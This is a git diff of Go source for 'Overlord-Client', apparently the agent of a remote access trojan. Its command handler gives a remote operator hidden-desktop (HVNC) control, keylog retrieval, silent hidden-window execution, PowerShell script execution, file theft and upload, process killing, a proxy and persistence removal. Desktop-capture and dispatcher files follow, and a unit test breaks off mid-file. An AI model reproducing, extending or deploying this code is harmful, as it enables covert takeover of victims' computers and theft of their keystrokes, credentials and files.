sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_set_duplication": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := false + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("desktop: duplication capture %v", enabled) + _ = DesktopDuplicationControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_set_quality": + payload, _ := envelope["payload"].(map[string]interface{}) + quality := 90 + codec := "" + if payload != nil { + if q, ok := payloadInt(payload, "quality"); ok { + quality = q + } + if v, ok := payload["codec"].(string); ok { + codec = v + } + } + log.Printf("desktop: set quality=%d codec=%s", quality, codec) + capture.SetQualityAndCodec(quality, codec) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_mouse_move": + if !env.MouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload := payloadAsMap(envelope["payload"]) + x, _ := payloadInt32(payload, "x") + y, _ := payloadInt32(payload, "y") + absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) + log.Printf("desktop: mouse move %d,%d -> %d,%d", x, y, absX, absY) + setCursorPos(absX, absY) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_mouse_down": + if !env.MouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload := payloadAsMap(envelope["payload"]) + btn, _ := payloadInt(payload, "button") + if x, okX := payloadInt32(payload, "x"); okX { + if y, okY := payloadInt32(payload, "y"); okY { + absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) + setCursorPos(absX, absY) + } + } + log.Printf("desktop: mouse down %d", btn) + sendMouseDown(btn) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_mouse_up": + if !env.MouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload := payloadAsMap(envelope["payload"]) + btn, _ := payloadInt(payload, "button") + if x, okX := payloadInt32(payload, "x"); okX { + if y, okY := payloadInt32(payload, "y"); okY { + absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) + setCursorPos(absX, absY) + } + } + log.Printf("desktop: mouse up %d", btn) + sendMouseUp(btn) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_key_down": + if !env.KeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + code := "" + if payload != nil { + if v, ok := payload["code"].(string); ok { + code = v + } + } + if vk := keyCodeToVK(code); vk != 0 { + log.Printf("desktop: key down code=%s vk=%d", code, vk) + sendKeyDown(vk) + } + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_key_up": + if !env.KeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + code := "" + if payload != nil { + if v, ok := payload["code"].(string); ok { + code = v + } + } + if vk := keyCodeToVK(code); vk != 0 { + log.Printf("desktop: key up code=%s vk=%d", code, vk) + sendKeyUp(vk) + } + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_text": + if !env.KeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + text := "" + if payload != nil { + if v, ok := payload["text"].(string); ok { + text = v + } + } + if text != "" { + log.Printf("desktop: text input len=%d", len(text)) + sendTextInput(text) + } + sendCommandResultSafe(env, cmdID, true, "") + return nil + + // ==================== HVNC COMMANDS ==================== + case "hvnc_start": + env.HVNCMu.Lock() + if env.HVNCCancel != nil { + env.HVNCCancel() + waitStreamStop(env.HVNCDone, "hvnc") + } + hvncCtx, cancel := context.WithCancel(ctx) + env.HVNCCancel = cancel + done := make(chan struct{}) + env.HVNCDone = done + goSafe("hvnc stream", env.Cancel, func() { + log.Printf("hvnc: start requested") + _ = HVNCStart(hvncCtx, env) + close(done) + }) + env.HVNCMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_stop": + env.HVNCMu.Lock() + log.Printf("hvnc: stop requested") + if env.HVNCCancel != nil { + env.HVNCCancel() + } + waitStreamStop(env.HVNCDone, "hvnc") + env.HVNCCancel = nil + env.HVNCDone = nil + env.HVNCMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_select_display": + payload, _ := envelope["payload"].(map[string]interface{}) + disp := 0 + if payload != nil { + displayVal := payload["display"] + if v, ok := displayVal.(int8); ok { + disp = int(v) + } else if v, ok := displayVal.(int16); ok { + disp = int(v) + } else if v, ok := displayVal.(int32); ok { + disp = int(v) + } else if v, ok := displayVal.(int64); ok { + disp = int(v) + } else if v, ok := displayVal.(int); ok { + disp = v + } else if v, ok := displayVal.(uint8); ok { + disp = int(v) + } else if v, ok := displayVal.(float64); ok { + disp = int(v) + } + } + log.Printf("hvnc: select display %d", disp) + _ = HVNCSelect(ctx, env, disp) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_enable_mouse": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("hvnc: mouse control %v", enabled) + _ = HVNCMouseControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_enable_keyboard": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("hvnc: keyboard control %v", enabled) + _ = HVNCKeyboardControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_enable_cursor": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := false + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("hvnc: cursor capture %v", enabled) + _ = HVNCCursorControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_set_quality": + payload, _ := envelope["payload"].(map[string]interface{}) + quality := 90 + codec := "" + if payload != nil { + if q, ok := payloadInt(payload, "quality"); ok { + quality = q + } + if v, ok := payload["codec"].(string); ok { + codec = v + } + } + log.Printf("hvnc: set quality=%d codec=%s", quality, codec) + capture.SetQualityAndCodec(quality, codec) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_mouse_move": + if !env.HVNCMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + x, y := int32(0), int32(0) + if payload != nil { + switch v := payload["x"].(type) { + case float64: + x = int32(v) + case float32: + x = int32(v) + case int: + x = int32(v) + case int8: + x = int32(v) + case int16: + x = int32(v) + case int32: + x = v + case int64: + x = int32(v) + case uint: + x = int32(v) + case uint8: + x = int32(v) + case uint16: + x = int32(v) + case uint32: + x = int32(v) + case uint64: + x = int32(v) + } + switch v := payload["y"].(type) { + case float64: + y = int32(v) + case float32: + y = int32(v) + case int: + y = int32(v) + case int8: + y = int32(v) + case int16: + y = int32(v) + case int32: + y = v + case int64: + y = int32(v) + case uint: + y = int32(v) + case uint8: + y = int32(v) + case uint16: + y = int32(v) + case uint32: + y = int32(v) + case uint64: + y = int32(v) + } + } + log.Printf("hvnc: mouse move %d,%d", x, y) + _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_mouse_down": + if !env.HVNCMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + btn := 0 + x, y := int32(0), int32(0) + if payload != nil { + switch v := payload["button"].(type) { + case float64: + btn = int(v) + case float32: + btn = int(v) + case int: + btn = v + case int8: + btn = int(v) + case int16: + btn = int(v) + case int32: + btn = int(v) + case int64: + btn = int(v) + case uint: + btn = int(v) + case uint8: + btn = int(v) + case uint16: + btn = int(v) + case uint32: + btn = int(v) + case uint64: + btn = int(v) + } + switch v := payload["x"].(type) { + case float64: + x = int32(v) + case float32: + x = int32(v) + case int: + x = int32(v) + case int8: + x = int32(v) + case int16: + x = int32(v) + case int32: + x = v + case int64: + x = int32(v) + case uint: + x = int32(v) + case uint8: + x = int32(v) + case uint16: + x = int32(v) + case uint32: + x = int32(v) + case uint64: + x = int32(v) + } + switch v := payload["y"].(type) { + case float64: + y = int32(v) + case float32: + y = int32(v) + case int: + y = int32(v) + case int8: + y = int32(v) + case int16: + y = int32(v) + case int32: + y = v + case int64: + y = int32(v) + case uint: + y = int32(v) + case uint8: + y = int32(v) + case uint16: + y = int32(v) + case uint32: + y = int32(v) + case uint64: + y = int32(v) + } + } + log.Printf("hvnc: mouse down %d", btn) + if x != 0 || y != 0 { + _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) + } + _ = capture.HVNCInputMouseDown(btn) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_mouse_up": + if !env.HVNCMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + btn := 0 + x, y := int32(0), int32(0) + if payload != nil { + switch v := payload["button"].(type) { + case float64: + btn = int(v) + case float32: + btn = int(v) + case int: + btn = v + case int8: + btn = int(v) + case int16: + btn = int(v) + case int32: + btn = int(v) + case int64: + btn = int(v) + case uint: + btn = int(v) + case uint8: + btn = int(v) + case uint16: + btn = int(v) + case uint32: + btn = int(v) + case uint64: + btn = int(v) + } + switch v := payload["x"].(type) { + case float64: + x = int32(v) + case float32: + x = int32(v) + case int: + x = int32(v) + case int8: + x = int32(v) + case int16: + x = int32(v) + case int32: + x = v + case int64: + x = int32(v) + case uint: + x = int32(v) + case uint8: + x = int32(v) + case uint16: + x = int32(v) + case uint32: + x = int32(v) + case uint64: + x = int32(v) + } + switch v := payload["y"].(type) { + case float64: + y = int32(v) + case float32: + y = int32(v) + case int: + y = int32(v) + case int8: + y = int32(v) + case int16: + y = int32(v) + case int32: + y = v + case int64: + y = int32(v) + case uint: + y = int32(v) + case uint8: + y = int32(v) + case uint16: + y = int32(v) + case uint32: + y = int32(v) + case uint64: + y = int32(v) + } + } + log.Printf("hvnc: mouse up %d", btn) + if x != 0 || y != 0 { + _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) + } + _ = capture.HVNCInputMouseUp(btn) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_mouse_wheel": + if !env.HVNCMouseControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + delta := int32(0) + x, y := int32(0), int32(0) + if payload != nil { + switch v := payload["delta"].(type) { + case float64: + delta = int32(v) + case float32: + delta = int32(v) + case int: + delta = int32(v) + case int8: + delta = int32(v) + case int16: + delta = int32(v) + case int32: + delta = v + case int64: + delta = int32(v) + case uint: + delta = int32(v) + case uint8: + delta = int32(v) + case uint16: + delta = int32(v) + case uint32: + delta = int32(v) + case uint64: + delta = int32(v) + } + switch v := payload["x"].(type) { + case float64: + x = int32(v) + case float32: + x = int32(v) + case int: + x = int32(v) + case int8: + x = int32(v) + case int16: + x = int32(v) + case int32: + x = v + case int64: + x = int32(v) + case uint: + x = int32(v) + case uint8: + x = int32(v) + case uint16: + x = int32(v) + case uint32: + x = int32(v) + case uint64: + x = int32(v) + } + switch v := payload["y"].(type) { + case float64: + y = int32(v) + case float32: + y = int32(v) + case int: + y = int32(v) + case int8: + y = int32(v) + case int16: + y = int32(v) + case int32: + y = v + case int64: + y = int32(v) + case uint: + y = int32(v) + case uint8: + y = int32(v) + case uint16: + y = int32(v) + case uint32: + y = int32(v) + case uint64: + y = int32(v) + } + } + if x != 0 || y != 0 { + _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) + } + _ = capture.HVNCInputMouseWheel(delta) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_key_down": + if !env.HVNCKeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + code := "" + if payload != nil { + if v, ok := payload["code"].(string); ok { + code = v + } + } + if vk := keyCodeToVKHVNC(code); vk != 0 { + log.Printf("hvnc: key down code=%s vk=%d", code, vk) + _ = capture.HVNCInputKeyDown(vk) + } + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_key_up": + if !env.HVNCKeyboardControl { + sendCommandResultSafe(env, cmdID, true, "") + return nil + } + payload, _ := envelope["payload"].(map[string]interface{}) + code := "" + if payload != nil { + if v, ok := payload["code"].(string); ok { + code = v + } + } + if vk := keyCodeToVKHVNC(code); vk != 0 { + log.Printf("hvnc: key up code=%s vk=%d", code, vk) + _ = capture.HVNCInputKeyUp(vk) + } + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "hvnc_start_process": + payload, _ := envelope["payload"].(map[string]interface{}) + filePath := "" + if payload != nil { + if v, ok := payload["path"].(string); ok { + filePath = v + } + } + log.Printf("hvnc: start process %q", filePath) + err := capture.StartHVNCProcess(filePath) + if err != nil { + sendCommandResultSafe(env, cmdID, false, err.Error()) + return nil + } + sendCommandResultSafe(env, cmdID, true, "") + return nil + + case "console_start": + sessionID, _ := envelopePayloadString(envelope, "sessionId") + cols, rows := envelopePayloadInts(envelope) + if sessionID == "" { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"}) + } + if err := console.Start(ctx, env, sessionID, cols, rows); err != nil { + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + return nil + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "console_input": + sessionID, _ := envelopePayloadString(envelope, "sessionId") + data, _ := envelopePayloadString(envelope, "data") + if sessionID != "" && data != "" { + _ = console.Input(sessionID, data) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "console_stop": + sessionID, _ := envelopePayloadString(envelope, "sessionId") + if sessionID != "" { + console.Stop(sessionID) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "console_resize": + + sessionID, _ := envelopePayloadString(envelope, "sessionId") + cols, rows := envelopePayloadInts(envelope) + _ = sessionID + console.Resize(sessionID, cols, rows) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + } + + switch action { + case "file_list": + path, _ := envelopePayloadString(envelope, "path") + return HandleFileList(ctx, env, cmdID, path) + case "file_download": + path, _ := envelopePayloadString(envelope, "path") + return HandleFileDownload(ctx, env, cmdID, path) + case "file_upload": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + offset := payloadNumberToInt64(payload["offset"]) + total := payloadNumberToInt64(payload["total"]) + transferID, _ := payload["transferId"].(string) + data := []byte{} + if d, ok := payload["data"].([]byte); ok { + data = d + } + return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID) + case "file_delete": + path, _ := envelopePayloadString(envelope, "path") + return HandleFileDelete(ctx, env, cmdID, path) + case "file_mkdir": + path, _ := envelopePayloadString(envelope, "path") + return HandleFileMkdir(ctx, env, cmdID, path) + case "file_zip": + path, _ := envelopePayloadString(envelope, "path") + + zipCtx, cancel := context.WithCancel(ctx) + registerCancellableCommand(cmdID, cancel) + goSafe("file_zip", env.Cancel, func() { + defer unregisterCommand(cmdID) + if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled { + log.Printf("file_zip error: %v", err) + } + }) + return nil + case "file_read": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + maxSize := int64(0) + if ms, ok := payload["maxSize"].(float64); ok { + maxSize = int64(ms) + } + return HandleFileRead(ctx, env, cmdID, path, maxSize) + case "file_write": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + content, _ := payload["content"].(string) + return HandleFileWrite(ctx, env, cmdID, path, content) + case "file_search": + payload, _ := envelope["payload"].(map[string]interface{}) + searchID, _ := payload["searchId"].(string) + basePath, _ := payload["path"].(string) + pattern, _ := payload["pattern"].(string) + searchContent := false + if sc, ok := payload["searchContent"].(bool); ok { + searchContent = sc + } + maxResults := 0 + if mr, ok := payload["maxResults"].(float64); ok { + maxResults = int(mr) + } + return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults) + case "file_copy": + payload, _ := envelope["payload"].(map[string]interface{}) + source, _ := payload["source"].(string) + dest, _ := payload["dest"].(string) + return HandleFileCopy(ctx, env, cmdID, source, dest) + case "file_move": + payload, _ := envelope["payload"].(map[string]interface{}) + source, _ := payload["source"].(string) + dest, _ := payload["dest"].(string) + return HandleFileMove(ctx, env, cmdID, source, dest) + case "file_chmod": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + mode, _ := payload["mode"].(string) + return HandleFileChmod(ctx, env, cmdID, path, mode) + case "file_execute": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + return HandleFileExecute(ctx, env, cmdID, path) + case "process_list": + return HandleProcessList(ctx, env, cmdID) + case "process_kill": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { + payload = make(map[string]interface{}, len(rawPayload)) + for k, v := range rawPayload { + ks, ok := k.(string) + if !ok { + continue + } + payload[ks] = v + } + } + } + pid := int32(0) + if p, ok := payload["pid"].(float64); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(string); ok { + if parsed, err := strconv.Atoi(p); err == nil { + pid = int32(parsed) + } + } + if p, ok := payload["pid"].(uint16); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(uint8); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(uint64); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(uint32); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(uint); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(int32); ok { + pid = p + } + if p, ok := payload["pid"].(int64); ok { + pid = int32(p) + } + if p, ok := payload["pid"].(int); ok { + pid = int32(p) + } + return HandleProcessKill(ctx, env, cmdID, pid) + case "keylog_list": + return HandleKeylogList(ctx, env, cmdID) + case "keylog_retrieve": + payload, _ := envelope["payload"].(map[string]interface{}) + filename, _ := payload["filename"].(string) + return HandleKeylogRetrieve(ctx, env, cmdID, filename) + case "keylog_clear_all": + return HandleKeylogClearAll(ctx, env, cmdID) + case "keylog_delete": + payload, _ := envelope["payload"].(map[string]interface{}) + filename, _ := payload["filename"].(string) + return HandleKeylogDelete(ctx, env, cmdID, filename) + case "script_exec": + payload, _ := envelope["payload"].(map[string]interface{}) + scriptContent, _ := payload["script"].(string) + scriptType, _ := payload["type"].(string) + if scriptType == "" { + scriptType = "powershell" + } + return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType) + case "silent_exec": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { + payload = make(map[string]interface{}, len(rawPayload)) + for k, v := range rawPayload { + ks, ok := k.(string) + if !ok { + continue + } + payload[ks] = v + } + } + } + command, _ := payload["command"].(string) + command = strings.TrimSpace(command) + if len(command) >= 2 { + if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') { + command = command[1 : len(command)-1] + } + } + argsRaw, _ := payload["args"].(string) + hideWindow := true + if v, ok := payload["hideWindow"].(bool); ok { + hideWindow = v + } + cwd, _ := payload["cwd"].(string) + if command == "" { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"}) + } + args := parseCommandArgs(argsRaw) + if err := startSilentProcess(command, args, cwd, hideWindow); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "uninstall": + res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} + _ = wire.WriteMsg(ctx, env.Conn, res) + + if err := removePersistence(); err != nil { + log.Printf("uninstall: failed to remove persistence: %v", err) + } + + os.Exit(0) + case "disconnect": + res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} + _ = wire.WriteMsg(ctx, env.Conn, res) + resetForReconnect(env) + return ErrReconnect + case "reconnect": + resetForReconnect(env) + res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} + _ = wire.WriteMsg(ctx, env.Conn, res) + return ErrReconnect + case "proxy_start": + payload, _ := envelope["payload"].(map[string]interface{}) + return HandleProxyStart(ctx, env, cmdID, payload) + case "proxy_stop": + return HandleProxyStop(ctx, env, cmdID) + default: + log.Printf("command: unknown action=%s", action) + res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"} + return wire.WriteMsg(ctx, env.Conn, res) + } + + return nil +} + +func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) { + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + return "", false + } + val, _ := payload[key].(string) + return val, val != "" +} + +func envelopePayloadInts(envelope map[string]interface{}) (int, int) { + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + return 0, 0 + } + cols, _ := payload["cols"].(int) + rows, _ := payload["rows"].(int) + + if cols == 0 { + if f, ok := payload["cols"].(float64); ok { + cols = int(f) + } + if i, ok := payload["cols"].(int64); ok { + cols = int(i) + } + } + if rows == 0 { + if f, ok := payload["rows"].(float64); ok { + rows = int(f) + } + if i, ok := payload["rows"].(int64); ok { + rows = int(i) + } + } + if cols == 0 { + cols = 120 + } + if rows == 0 { + rows = 36 + } + return cols, rows +} + +func toInt(v interface{}) int { + if v == nil { + return 0 + } + if i, ok := v.(int); ok { + return i + } + if i, ok := v.(int8); ok { + return int(i) + } + if i, ok := v.(int16); ok { + return int(i) + } + if i, ok := v.(int32); ok { + return int(i) + } + if i, ok := v.(int64); ok { + return int(i) + } + if i, ok := v.(uint8); ok { + return int(i) + } + if i, ok := v.(uint16); ok { + return int(i) + } + if i, ok := v.(uint32); ok { + return int(i) + } + if i, ok := v.(uint64); ok { + return int(i) + } + if f, ok := v.(float64); ok { + return int(f) + } + return 0 +} diff --git a/Overlord-Client/cmd/agent/handlers/desktop.go b/Overlord-Client/cmd/agent/handlers/desktop.go new file mode 100644 index 0000000..de50c2b --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/desktop.go @@ -0,0 +1,92 @@ +package handlers + +import ( + "context" + "log" + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" + "sync" + "time" +) + +var ( + persistedDisplayValue int + persistedDisplayMu sync.Mutex +) + +func persistDisplaySelection(display int) { + persistedDisplayMu.Lock() + persistedDisplayValue = display + persistedDisplayMu.Unlock() +} + +func GetPersistedDisplay() int { + persistedDisplayMu.Lock() + defer persistedDisplayMu.Unlock() + return persistedDisplayValue +} + +func DesktopStart(ctx context.Context, env *rt.Env) error { + interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60) + log.Printf("desktop: starting stream (max fps %d)", fps) + ticker := time.NewTicker(interval) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + log.Printf("desktop: stopping stream") + return nil + case <-ticker.C: + if err := capture.Now(ctx, env); err != nil { + if ctx.Err() != nil { + log.Printf("desktop: stopping stream") + return nil + } + log.Printf("desktop: capture error: %v", err) + } + } + } +} + +func DesktopSelect(ctx context.Context, env *rt.Env, display int) error { + prev := env.SelectedDisplay + maxDisplays := capture.MonitorCount() + if display < 0 || display >= maxDisplays { + log.Printf("desktop: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1) + display = 0 + } + env.SelectedDisplay = display + + persistDisplaySelection(display) + if prev != display { + capture.ResetPrev() + capture.ResetDesktopCapture() + } + log.Printf("desktop: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display) + return nil +} + +func DesktopMouseControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.MouseControl = enabled + return nil +} + +func DesktopKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.KeyboardControl = enabled + return nil +} + +func DesktopCursorControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.CursorCapture = enabled + capture.SetCursorCapture(enabled) + return nil +} + +func DesktopDuplicationControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.DesktopDuplication = enabled + capture.SetDesktopDuplication(enabled) + capture.ResetPrev() + capture.ResetDesktopCapture() + capture.ResetMonitorCache() + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/desktop_coords.go b/Overlord-Client/cmd/agent/handlers/desktop_coords.go new file mode 100644 index 0000000..71697b4 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/desktop_coords.go @@ -0,0 +1,28 @@ +package handlers + +import "overlord-client/cmd/agent/capture" + +func resolveDesktopPoint(display int, x, y int32) (int32, int32) { + bounds := capture.DisplayBounds(display) + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return x, y + } + + absX := int32(bounds.Min.X) + x + absY := int32(bounds.Min.Y) + y + + if absX < int32(bounds.Min.X) { + absX = int32(bounds.Min.X) + } + if absY < int32(bounds.Min.Y) { + absY = int32(bounds.Min.Y) + } + if absX >= int32(bounds.Max.X) { + absX = int32(bounds.Max.X - 1) + } + if absY >= int32(bounds.Max.Y) { + absY = int32(bounds.Max.Y - 1) + } + + return absX, absY +} diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher.go b/Overlord-Client/cmd/agent/handlers/dispatcher.go new file mode 100644 index 0000000..34ecbfe --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/dispatcher.go @@ -0,0 +1,70 @@ +package handlers + +import ( + "context" + "fmt" + "log" + + "overlord-client/cmd/agent/runtime" +) + +type Dispatcher struct { + Env *runtime.Env +} + +func NewDispatcher(env *runtime.Env) *Dispatcher { + return &Dispatcher{Env: env} +} + +func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface{}) (err error) { + defer func() { + if r := recover(); r != nil { + log.Printf("dispatcher: panic: %v", r) + err = fmt.Errorf("dispatcher panic: %v", r) + } + }() + + msgTypeRaw := envelope["type"] + msgType, _ := msgTypeRaw.(string) + if msgType == "" { + log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope)) + return nil + } + switch msgType { + case "hello_ack": + return HandleHelloAck(ctx, d.Env, envelope) + case "ping": + log.Printf("dispatcher: received ping") + return HandlePing(ctx, d.Env, envelope) + case "pong": + return HandlePong(ctx, d.Env, envelope) + case "command": + log.Printf("dispatcher: handling command type=%s", envelope["commandType"]) + return HandleCommand(ctx, d.Env, envelope) + case "plugin_event": + return HandlePluginEvent(ctx, d.Env, envelope) + case "notification_config": + return HandleNotificationConfig(ctx, d.Env, envelope) + case "command_abort": + cmdID, _ := envelope["commandId"].(string) + if cmdID != "" { + if cancelCommand(cmdID) { + log.Printf("dispatcher: cancelled command %s", cmdID) + } else { + log.Printf("dispatcher: command %s not found or already completed", cmdID) + } + } + return nil + default: + log.Printf("dispatcher: unknown message type=%v", msgType) + return nil + } +} + +func envelopeKeys(envelope map[string]interface{}) []string { + keys := make([]string, 0, len(envelope)) + for key := range envelope { + keys = append(keys, key) + } + return keys +} diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go new file mode 100644 index 0000000..77b6cf7 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go @@ -0,0 +1,304 @@ +package handlers + +import ( + "context" + "errors" + "testing" + + "overlord-client/cmd/agent/config" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" +) + +func TestHandlePing(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + envelope := map[string]interface{}{ + "ts": float64(1234567890), + } + + if err := HandlePing(ctx, env, envelope); err != nil { + t.Fatalf("HandlePing failed: %v", err) + } + + if len(writer.msgs) < 1 { + t.Fatal("Expected at least 1 message") + } + + var pong wire.Pong + if err := msgpack.Unmarshal(writer.msgs[0], &pong); err != nil { + t.Fatalf("Failed to unmarshal pong: %v", err) + } + + if pong.Type != "pong" { + t.Errorf("Expected type 'pong', got '%s'", pong.Type) + } + expectedTS := int64(1234567890) + if pong.TS != expectedTS { + t.Errorf("Expected timestamp %d, got %d", expectedTS, pong.TS) + } +} + +func TestHandleCommand_Ping(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "ping", + "id": "cmd-ping-1", + "ts": float64(1234567890), + } + + if err := HandleCommand(ctx, env, envelope); err != nil { + t.Fatalf("HandleCommand(ping) failed: %v", err) + } + + if len(writer.msgs) < 1 { + t.Fatal("Expected at least 1 message") + } + + var firstMsg map[string]interface{} + if err := msgpack.Unmarshal(writer.msgs[0], &firstMsg); err != nil { + t.Fatalf("Failed to unmarshal first message: %v", err) + } + + msgType, _ := firstMsg["type"].(string) + t.Logf("First message type: %s", msgType) +} + +func TestHandleCommand_Desktop(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "desktop", + "id": "cmd-desktop-1", + 